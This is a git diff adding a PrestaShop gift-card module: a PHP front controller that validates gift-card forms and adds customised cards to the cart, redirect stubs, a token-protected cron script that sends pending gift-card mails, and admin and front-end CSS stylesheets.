'.(int)$card->period_val.' month' ) ) ); + $params['id_lang'] = $this->context->language->id; + $params['message'] = Tools::getValue ( 'message', '' ); + $params['lastname'] = Tools::getValue ( 'lastname', '' ); + $params['from'] = Tools::getValue ( 'from', '' ); + $prefix_pdf = Configuration::get ( 'GIFTCARD_PDF_PREFIX', (int)$params['id_lang'] ); + if (! $prefix_pdf || empty ( $prefix_pdf )) + $prefix_pdf = 'GIFTCARD'; + $filename = $prefix_pdf.sprintf ( '%06d', 0 ); + GiftCardTools::processGeneratePdfV2 ( $giftCardTemplate, $params, true, $filename ); + } + /* + * Apercu html if(Tools::getToken() != Tools::getValue('token')) { die($module->l('Invalid token', 'choicegiftcard')); } $id_lang_mail = (int)GiftCardTools::getLangMail($this->context->language->id); if(!$id_lang_mail) die($module->l('No possible to preview')); $languageMail = new Language($id_lang_mail); $id_shop = $this->context->shop->id; if (Configuration::get('PS_LOGO_MAIL') !== false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL', null, null, $id_shop))) $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL', null, null, $id_shop); else { if (file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, $id_shop))) $logo = _PS_IMG_DIR_.Configuration::get('PS_LOGO', null, null, $id_shop); } if (isset($logo)) $shop_logo = $this->data_uri($logo, 'image/jpg'); $template_id = (int)Tools::getValue('id_gift_card_template',0); $giftCardTemplate = null; if(!$template_id) $giftCardTemplate = GiftCardTemplate::getDefault(); else $giftCardTemplate = new GiftCardTemplate($template_id); $theme_path = _PS_THEME_DIR_; // Get the path of theme by id_shop if exist if (is_numeric($id_shop) && $id_shop) { $shop = new Shop((int)$id_shop); $theme_name = $shop->getTheme(); if (_THEME_NAME_ != $theme_name) $theme_path = _PS_ROOT_DIR_.'/themes/'.$theme_name.'/'; } if(file_exists($theme_path.'modules/giftcard/mails/'.$languageMail->iso_code.'/giftcardsend_recipient.html')) $mail_dir = $theme_path.'modules/giftcard/mails/'; else $mail_dir = _PS_ROOT_DIR_.'/modules/giftcard/mails/'; $img_name = md5(uniqid(rand(), true)).'.jpg'; $tmp_file = _PS_ROOT_DIR_.'/modules/giftcard/pdf/'.$img_name; $img_width = Configuration::get('GIFTCARD_MAIL_IMG_WIDTH'); $img_height = Configuration::get('GIFTCARD_MAIL_IMG_HEIGHT'); if(!((int)$img_width>0)) $img_width = 349; if(!((int)$img_height>0)) $img_height = 195; if(Tools::getValue("id_product")) { $card = new GiftCardProduct((int)Tools::getValue("id_product")); } else { $card = GiftCardProduct::getDefault(); } if($giftCardTemplate->issvg) { $svgparams = array(); $svgparams['price'] = round($card->price); $svgparams['from'] = Tools::getValue('from',''); $svgparams['lastname'] = Tools::getValue('lastname',''); $svgparams['message'] = Tools::getValue('message',''); $svgparams['mailto'] = Tools::getValue('mailto',''); $svg = GiftCardTools::buildTemplateSvgV2($giftCardTemplate,$svgparams,$id_lang_mail); $card_img_generated=GiftCardTools::resizeImageWithTemplate($svg, $tmp_file,0, $img_width, $img_height, 'jpg'); } else { $template_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; $card_img_generated=ImageManager::resize($template_path.$giftCardTemplate->id.'.jpg', $tmp_file,$img_width, $img_height, 'jpg'); } $giftcard_image = $this->data_uri($tmp_file, 'image/jpg'); @unlink($tmp_file); $frontcontents=array(); $content = @Tools::file_get_contents($mail_dir.$languageMail->iso_code.'/giftcardsend_recipient.html'); $content = str_replace("{giftcard_image}", $giftcard_image, $content); $content = str_replace("{giftcard_code}",'###############',$content); $content = str_replace("{giftcard_price}",Tools::displayPrice(floatval($card->price), (int)$this->context->currency->id, false),$content); $content = str_replace("{giftcard_lastname}",Tools::getValue('lastname',''),$content); $content = str_replace("{giftcard_from}",Tools::getValue('from',''),$content); $content = str_replace("{giftcard_message}",Tools::getValue('message',''),$content); $content = str_replace("{shop_name}",$this->context->shop->name,$content); $content = str_replace("{shop_url}",'#',$content); if(isset($shop_logo)) $content = str_replace("{shop_logo}", $shop_logo, $content); else $content = str_replace("{shop_logo}", '', $content); die($content); + */ + } + /* LOAD CONTENT */ + if (! Tools::getValue ( 'action' )) + { + $card = null; + if (Tools::getValue ( 'id_product' )) + $card = new GiftCardProduct ( (int)Tools::getValue ( 'id_product' ) ); + /* CONTROL PRICE SPECIFIC : explain in rule : RG-PRICE-01 */ + $cards = GiftCardProduct::getGiftCards ( $this->context->language->id, true, $this->context->currency->id,(int)$this->context->shop->id ); + $cardschecked = array (); + foreach ($cards as $carditem) + { + // It is not possible to applicate other specific price + if (((float)$carditem['price']) == ((float)$carditem['amount'])) + $cardschecked[] = $carditem; + else + { + $cardtodisable = new GiftCardProduct ( (int)$carditem['id_product'] ); + $cardtodisable->active = 0; + $cardtodisable->update (); + } + } + $tags = GiftCardTag::getTags ( $this->context ); + $templates = GiftCardTemplate::getTemplates ( $this->context->language->id, true, (int)$this->context->shop->id ); + $template_default = GiftCardTemplate::getDefault (); + $templatesGroupTag = GiftCardTemplate::getTemplatesGroupByTag ( $this->context->language->id, true, (int)$this->context->shop->id ); + $front_content = Configuration::get ( 'GIFTCARD_FRONT_CONTENT', (int)$this->context->language->id ); + $this->context->smarty->assign ( array ( + 'tags' => $tags, + 'template_default' => $template_default, + 'front_content' => $front_content, + 'templates' => $templates, + 'giftcard_templates_dir' => _MODULE_DIR_.'giftcard/img/templates/', + 'templatesGroupTag' => $templatesGroupTag, + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + 'sl_year' => date ( 'Y' ), + 'sl_month' => date ( 'n' ), + 'sl_day' => date ( 'j' ), + 'years' => array(date ( 'Y' ),(int)date ( 'Y' )+1,(int)date ( 'Y' )+2), + 'months' => Tools::dateMonths (), + 'days' => Tools::dateDays (), + 'card' => $card, + 'cards' => $cardschecked, + 'id_lang' => $this->context->language->id + ) ); + } /* SUBMIT FORM */ + elseif (trim ( Tools::getValue ( 'action' ) ) == 'addgiftcard') + { + $errors = array (); + $card = new GiftCardProduct ( (int)Tools::getValue ( 'id_product' ) ); + if (Tools::getToken () != Tools::getValue ( 'token' )) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Token invalide', 'giftcard'); + else + $errors[] = $module->l('Invalid token', 'giftcard'); + } + if (count ( $errors ) == 0) + { + $currency_default = (int)Configuration::get ( 'PS_CURRENCY_DEFAULT' ); + if ($this->context->currency->id != $currency_default && ! $card->validityPrice ( (int)$this->context->currency->id )) + { + // message display to customer + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Cette carte est désactivée, merci d\'en choisir une autre.', 'giftcard'); + else + $errors[] = $module->l('This card is disabled, please select other card thank.', 'giftcard'); + + $card->active = 0; + $card->update (); + } + else + { + $mailto = Tools::getValue ( 'mailto', '' ); + $receptmode = (int)Tools::getValue ( 'receptmode', 0 ); + $lastname = Tools::getValue ( 'lastname', '' ); + $from = Tools::getValue ( 'from', '' ); + $message = trim ( Tools::getValue ( 'message', '' ) ); + $template_id = (int)Tools::getValue ( 'id_gift_card_template', 0 ); + $delivery_date = (Tools::getValue ( 'years', '' ) == '' ? '' : (int)Tools::getValue ( 'years' ).'-'.(int)Tools::getValue ( 'months' ).'-'.(int)Tools::getValue ( 'days' )); + $giftCardTemplate = null; + if ($receptmode && (! Validate::isEmail ( $mailto ) || empty ( $mailto ))) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Le format du mail n\'est pas valide', 'giftcard'); + else + $errors[] = $module->l('Badly formatted email address', 'giftcard'); + + } + if (! $template_id > 0) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Vous devez choisir un modèle', 'giftcard').$template_id; + else + $errors[] = $module->l('You must select a model', 'giftcard').$template_id; + } + else + { + $giftCardTemplate = new GiftCardTemplate ( $template_id ); + if ((int)$giftCardTemplate->id > 0) + { + if ((int) $this->context->cookie->id_lang == 1) + $module->l('Template non valide, merci d\'en choisir un autre', 'giftcard'); + else + $module->l('Template is not valide, please choice other', 'giftcard'); + } + } + if (empty ( $from )) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('"De la part de" est requis', 'giftcard'); + else + $errors[] = $module->l('From is required', 'giftcard'); + } + else if (! Validate::isMessage ( $from )) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = sprintf ( $module->l('Le champs %s contien un caractère invalide <>{}', 'giftcard'), $module->l('from', 'giftcard') ); + else + $errors[] = sprintf ( $module->l('The field %s contain invalid character <>{}', 'giftcard'), $module->l('from', 'giftcard') ); + } + if (empty ( $lastname )) + { + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Le nom du destinataire est requis', 'giftcard'); + else + $errors[] = $module->l('Recipient firstname is required', 'giftcard'); + } + else if (! Validate::isMessage ( $lastname )) + { + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = sprintf ( $module->l('Le champs %s contien un caractère invalide <>{}', 'giftcard'), $module->l('Recipient first name', 'giftcard') ); + else + $errors[] = sprintf ( $module->l('The field %s contain invalid character <>{}', 'giftcard'), $module->l('Recipient first name', 'giftcard') ); + } + if (empty ( $message )) + { + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('Message est requis', 'giftcard'); + else + $errors[] = $module->l('Message is required', 'giftcard'); + } + else if (! Validate::isMessage ( $message )) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = sprintf ( $module->l('Le champ %s contien un caractère invalide <>{}', 'giftcard'), $module->l('Message', 'giftcard') ); + else + $errors[] = sprintf ( $module->l('The field %s contain invalid character <>{}', 'giftcard'), $module->l('Message', 'giftcard') ); + } + + if (! @checkdate ( Tools::getValue ( 'months' ), Tools::getValue ( 'days' ), Tools::getValue ( 'years' ) )) + { + + if ((int) $this->context->cookie->id_lang == 1) + $errors[] = $module->l('La date d\'envoie de la carte n\'est pas valide', 'giftcard'); + else + $errors[] = $module->l('Date send card is invalid', 'giftcard'); + } + } + } + if (count ( $errors ) == 0) + { + /* add new card if not exist */ + if (! $this->context->cart->id) + { + if (Context::getContext ()->cookie->id_guest) + { + $guest = new Guest ( Context::getContext ()->cookie->id_guest ); + $this->context->cart->mobile_theme = $guest->mobile_theme; + } + $this->context->cart->add (); + if ($this->context->cart->id) + $this->context->cookie->id_cart = (int)$this->context->cart->id; + } + $id_cfield_mailto = (int)$card->id_customization_field_mailto; + $id_cfield_message = (int)$card->id_customization_field_message; + $id_cfield_from = (int)$card->id_customization_field_from; + $id_cfield_lastname = (int)$card->id_customization_field_lastname; + $id_cfield_deliverydate = (int)$card->id_customization_field_deliverydate; + $id_cfield_template = (int)$card->id_customization_field_template; + $id_cfield_image = (int)$card->id_customization_field_image; + /* Upload de l'image */ + $file_name = md5 ( uniqid ( rand (), true ) ); + $product_picture_width = (int)Configuration::get ( 'PS_PRODUCT_PICTURE_WIDTH' ); + $product_picture_height = (int)Configuration::get ( 'PS_PRODUCT_PICTURE_HEIGHT' ); + if ($giftCardTemplate->issvg) + { + $svgparams = array (); + $svgparams['price'] = round ( $card->amount ); + $svgparams['from'] = $from; + $svgparams['lastname'] = $lastname; + $svgparams['message'] = $message; + $svgparams['mailto'] = $mailto; + $svg = GiftCardTools::buildTemplateSvgV2 ( $giftCardTemplate, $svgparams, $this->context->language->id ); + if (! GiftCardTools::resizeImageWithTemplate ( $svg, _PS_UPLOAD_DIR_.$file_name, 0, 1600, 920, 'jpg' )) + $errors[] = $module->l ( 'An error occurred while creating template' , 'giftcard'); + elseif (! GiftCardTools::resizeImageWithTemplate ( $svg, _PS_UPLOAD_DIR_.$file_name.'_small', 0, $product_picture_width, $product_picture_height, 'jpg' )) + $errors[] = $module->l ( 'An error occurred while creating template', 'giftcard' ); + elseif (! chmod ( _PS_UPLOAD_DIR_.$file_name, 0777 ) || ! chmod ( _PS_UPLOAD_DIR_.$file_name.'_small', 0777 )) + $errors[] = $module->l ( 'An error occurred while creating template.' , 'giftcard'); + else + $this->context->cart->addPictureToProduct ( $card->id, $id_cfield_image, Product::CUSTOMIZE_FILE, $file_name ); + } + else + { + $template_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; + if (! ImageManager::resize ( $template_path.$giftCardTemplate->id.'.jpg', _PS_UPLOAD_DIR_.$file_name )) + $errors[] = $module->l ( 'An error occurred while copying image' , 'giftcard'); + elseif (! ImageManager::resize ( $template_path.$giftCardTemplate->id.'.jpg', _PS_UPLOAD_DIR_.$file_name.'_small', $product_picture_width, $product_picture_height, 'jpg' )) + $errors[] = $module->l ( 'An error occurred while copying image' , 'giftcard'); + elseif (! chmod ( _PS_UPLOAD_DIR_.$file_name, 0777 ) || ! chmod ( _PS_UPLOAD_DIR_.$file_name.'_small', 0777 )) + $errors[] = $module->l ( 'An error occurred while creating template.' , 'giftcard'); + else + $this->context->cart->addPictureToProduct ( $card->id, $id_cfield_image, Product::CUSTOMIZE_FILE, $file_name ); + } + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_from, Product::CUSTOMIZE_TEXTFIELD, $from ); + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_lastname, Product::CUSTOMIZE_TEXTFIELD, $lastname ); + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_message, Product::CUSTOMIZE_TEXTFIELD, $message ); + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_template, Product::CUSTOMIZE_TEXTFIELD, $template_id ); + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_mailto, Product::CUSTOMIZE_TEXTFIELD, $mailto ); + $this->context->cart->addTextFieldToProduct ( $card->id, $id_cfield_deliverydate, Product::CUSTOMIZE_TEXTFIELD, $delivery_date ); + $update_quantity = $this->context->cart->updateQty ( 1, $card->id ); + if (! $update_quantity) + $errors[] = Tools::displayError ( 'You already have the maximum quantity available for this product.', false ); + if (! count ( $errors ) > 0) + { + + if ((int) $this->context->cookie->id_lang == 1) + $a_message = 'La carte cadeau a été ajoutée à votre panier'; + else + $a_message = 'The gift card as added in your cart'; + + $results = array ( + 'hasError' => false, + 'message' => $a_message, + 'errors' => $errors + ); + die ( Tools::jsonEncode ( $results ) ); + } + } + if (count ( $errors ) > 0) + { + $results = array ( + 'hasError' => true, + 'errors' => $errors + ); + die ( Tools::jsonEncode ( $results ) ); + } + } + } + public function assign() + { + $errors = array (); + $this->context->smarty->assign ( array ( + 'linkcgc' => $this->context->link->getModuleLink ( 'giftcard', 'choicegiftcard' ) + ) ); + $this->setTemplate ( 'choicegiftcard.tpl' ); + } +} diff --git a/modules/giftcard/controllers/front/index.php b/modules/giftcard/controllers/front/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/controllers/front/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/controllers/index.php b/modules/giftcard/controllers/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/controllers/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/cron.php b/modules/giftcard/cron.php new file mode 100755 index 0000000..3b8bb25 --- /dev/null +++ b/modules/giftcard/cron.php @@ -0,0 +1,80 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +ini_set ( 'memory_limit', '600M' ); +set_time_limit ( 1200 ); +include (dirname ( __FILE__ ).'/../../config/config.inc.php'); +include (dirname ( __FILE__ ).'/../../init.php'); +include (dirname ( __FILE__ ).'/giftcard.php'); +$giftcard = Module::getInstanceByName ( 'giftcard' ); +if ($giftcard && $giftcard->active) +{ + $giftcard->accesslog = $giftcard->accessLogsDirectory (); + if ($token = Tools::getValue ( 'token' )) + { + if (trim ( $token ) == trim ( Configuration::get ( 'GIFTCARD_TOKEN' ) )) + { + if (((int)date ( 'Ymd' ) > (int)Configuration::get ( 'GIFTCARD_BATCHLASTDATE' ))) + { + Configuration::updateValue ( 'GIFTCARD_BATCHLASTDATE', (int)date ( 'Ymd' ) ); + $giftcard->sendPendingMailRecipient (); + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 0) + die ( 'Gift card launched' ); + } + else + { + $giftcard->loglongline ( 'The date '.(int)date ( 'Ymd' ).' is every worked' ); + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 0) + die ( 'The date '.(int)date ( 'Ymd' ).' is every worked' ); + } + } + else + { + $giftcard->loglongline ( 'Not a valid token' ); + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 0) + die ( 'Not a valid token' ); + } + } + else + { + $giftcard->loglongline ( 'Token is required' ); + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 0) + die ( 'Token is required' ); + } + /* generate empty picture http://www.nexen.net/articles/dossier/16997-une_image_vide_sans_gd.php */ + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 1) + { + $hex = '47494638396101000100800000ffffff00000021f90401000000002c00000000010001000002024401003b'; + $img = ''; + $t = Tools::strlen ( $hex ) / 2; + for ($i = 0; $i < $t; $i ++) + $img .= chr ( hexdec ( Tools::substr ( $hex, $i * 2, 2 ) ) ); + header ( 'Last-Modified: Fri, 01 Jan 1999 00:00 GMT', true, 200 ); + header ( 'Content-Length: '.Tools::strlen ( $img ) ); + header ( 'Content-Type: image/gif' ); + echo $img; + } + else + die ( 'OK' ); +} +else +{ + if ((int)Configuration::get ( 'GIFTCARD_TRIGGERWEB' ) == 0) + die ( 'Gift card is desactived' ); +} diff --git a/modules/giftcard/css/admingiftcard.css b/modules/giftcard/css/admingiftcard.css new file mode 100755 index 0000000..b5afcae --- /dev/null +++ b/modules/giftcard/css/admingiftcard.css @@ -0,0 +1,114 @@ +form#giftcardproduct_form +{ + background-color: #ebedf4; + border: 1px solid #ccced7; + min-height: 404px; + padding: 5px 10px 10px; + margin-left: 140px; +} +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.5em; + width: 150px; + padding: 6px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcardtemplateselect{ + float: left; + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: 45%; + max-width: 560px; + min-width: 320px; + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/modules/giftcard/css/admingiftcardtemplatebootstrap.css b/modules/giftcard/css/admingiftcardtemplatebootstrap.css new file mode 100755 index 0000000..2ea983d --- /dev/null +++ b/modules/giftcard/css/admingiftcardtemplatebootstrap.css @@ -0,0 +1,111 @@ +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.25em; + width: 150px; + padding: 4px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcard_customize h3{ + margin-top:0px !important; + margin-left:3px !important; +} +#giftcardtemplateselect{ + + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +font-size: 1em; +padding-top: 10px; + +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/modules/giftcard/css/admingiftcardtemplateps15.css b/modules/giftcard/css/admingiftcardtemplateps15.css new file mode 100755 index 0000000..4987a23 --- /dev/null +++ b/modules/giftcard/css/admingiftcardtemplateps15.css @@ -0,0 +1,117 @@ +form#giftcardtemplate_form +{ + background-color: #ebedf4; + border: 1px solid #ccced7; + min-height: 404px; + padding: 5px 10px 10px; + margin-left: 140px; +} +div.action .btngiftcard +{ + float:left; +} +a.btngiftcard +{ + margin-top:5px; + color: #FFF; + text-shadow: 0px 1px 0px rgba( 200, 200, 200, 0.4); + background: #3C98CF; + background: -webkit-linear-gradient( #3C98CF, #2D74A0); + background: -moz-linear-gradient( #3C98CF, #2D74A0); + background: -ms-linear-gradient( #3C98CF, #2D74A0); + background: -o-linear-gradient( #3C98CF, #2D74A0); + background: linear-gradient( #3C98CF, #2D74A0); + font-size: 1.25em; + width: 150px; + padding: 4px; + text-align: center; + display: inline-block; + margin: 0 15px 15px 0; + border-radius: 7px; + box-shadow: 0 0 1px rgba( 0, 0, 0, 0.2), 0 -1px 0 rgba( 255, 255, 255, 0.1); + +} +a.btngiftcard:hover +{ + background: #3CA1D3; +background: -webkit-linear-gradient( #3CA1D3, #3386AF); +background: -moz-linear-gradient( #3CA1D3, #3386AF); +background: -ms-linear-gradient( #3CA1D3, #3386AF); +background: -o-linear-gradient( #3CA1D3, #3386AF); +background: linear-gradient( #3CA1D3, #3386AF); +} +#giftcardtemplateselect{ + float: left; + padding: 20px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: 45%; + max-width: 560px; + min-width: 320px; + +} +#giftcardtemplateselect_img{ + text-align: center; +} +div#giftcardcustom_form{ + float:left; + margin-left:5px; + background-color: #FFF; + border: 1px dotted #CECECE; + width: auto; +} +#giftcardcustom_form h3 +{ +border-bottom: 1px solid #CECECE; +text-transform: uppercase; +padding-left: 5px; +margin-top: 0; +font-size: 1em; +padding-top: 10px; + +} +#giftcardcustom_form .tableformcustom{ + width: 100%; +} +#giftcardcustom_form .tableformcustom td.label{ + padding:3px; + vertical-align: top; + +} +#giftcardtemplates +{ + height:auto; + display: inline-block; +} +#giftcardtemplates .template_item{ + width:auto; + padding:5px; + display: block; + position:relative; + border-bottom:1px dashed #CECECE; + padding-bottom:50px; +} +#giftcardtemplates .template_item:hover{ + background-color:#FAAC58; +} +#giftcardtemplates .template_item a.button_delete{ + position:absolute; + bottom:5px; + right:5px; +} +#giftcardtemplates .template_item a.button_check{ + position:absolute; + bottom:0px; + left:5px; + width: 50px; + height: 50px; + background-image: url('../img/icon/check.png'); + background-repeat:no-repeat; +} +#giftcardtemplates .template_item a.button_check:hover{ + background-image: url('../img/icon/check_green.png'); +} + +.tagify-container > input{ + border: 0 none !important; +} \ No newline at end of file diff --git a/modules/giftcard/css/choicegiftcard.css b/modules/giftcard/css/choicegiftcard.css new file mode 100755 index 0000000..ab3656a --- /dev/null +++ b/modules/giftcard/css/choicegiftcard.css @@ -0,0 +1,362 @@ +/*** GIFTCARD TABS ***/ +#choicegiftcard .gctabs{ + margin-top:0px; + list-style: none; +} +#choicegiftcard .gctabs li a{ + float:left; + background: #f5f3f1; + padding: 10px 10px 7px 10px; + font-weight: bold; + border-radius: 5px 5px 0px 0px; + -webkit-border-radius: 5px 5px 0px 0px; + -moz-border-radius: 5px 5px 0px 0px; + color: grey; + margin-right: 1px; + text-decoration: none; +} +#choicegiftcard .gctabs { + border-bottom: 4px solid #000; +} +#choicegiftcard .gctabs li a.selected { + color: #FFF; + background: black; +} +#choicegiftcard div.gctab_content{ + display:none; +} +#choicegiftcard div.gctab_content.selected{ + display:block; +} +/*** END TABS ***/ + +#choicegiftcard p.error { + background-color : #fdf7f7; + border: 1px solid #d9534f; + color : #d9534f; + padding : 5px; +} +#choicegiftcard p.success { +color: #3c763d; +background-color: #dff0d8; +border: 1px solid #3c763d; +padding : 5px; +} +/*** JCAROUSEL ***/ +#choicegiftcard .jcarousel-wrapper { + margin: 0px auto 25px auto; + position: relative; + border: 10px solid #fff; + -webkit-border-radius: 0 0 5px 5px; + -moz-border-radius: 0 0 5px 5px; + border-radius: 0 0 5px 5px; + -webkit-box-shadow: 0 0 2px #999; + -moz-box-shadow: 0 0 2px #999; + box-shadow: 0 0 2px #999; +} + +#choicegiftcard .jcarousel { + position: relative; + overflow: hidden; + width: 100%; +} + +#choicegiftcard .jcarousel ul { + width: 20000em; + position: relative; + list-style: none; + margin: 0; + padding: 0; +} + +#choicegiftcard .jcarousel li { + width: 200px; + float: left; + border: 1px solid #fff; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding: 5px 5px 25px 5px; + position:relative; +} +#choicegiftcard .jcarousel li:hover { + + border: 1px solid #cecece; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +#choicegiftcard .jcarousel li.selected { + + border: 2px solid #66A523; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-radius: 3px; +} +#choicegiftcard .jcarousel li span.zoom_link{ + background:url(../img/icon/zoom.png) no-repeat; + padding-left: 20px !important; + position:absolute; + bottom:3px; + left:5px; + height: 16px; +} +#choicegiftcard .jcarousel li span.check{ + visibility:hidden; + opacity:0; + transition:opacity 0.5s linear; + background:url(../img/icon/check_wg.png) no-repeat; + height:24px; + width:24px; + position:absolute; + top:3px; + right:5px; +} +#choicegiftcard .jcarousel li.selected span.check{ + visibility:visible; + opacity:1; +} + 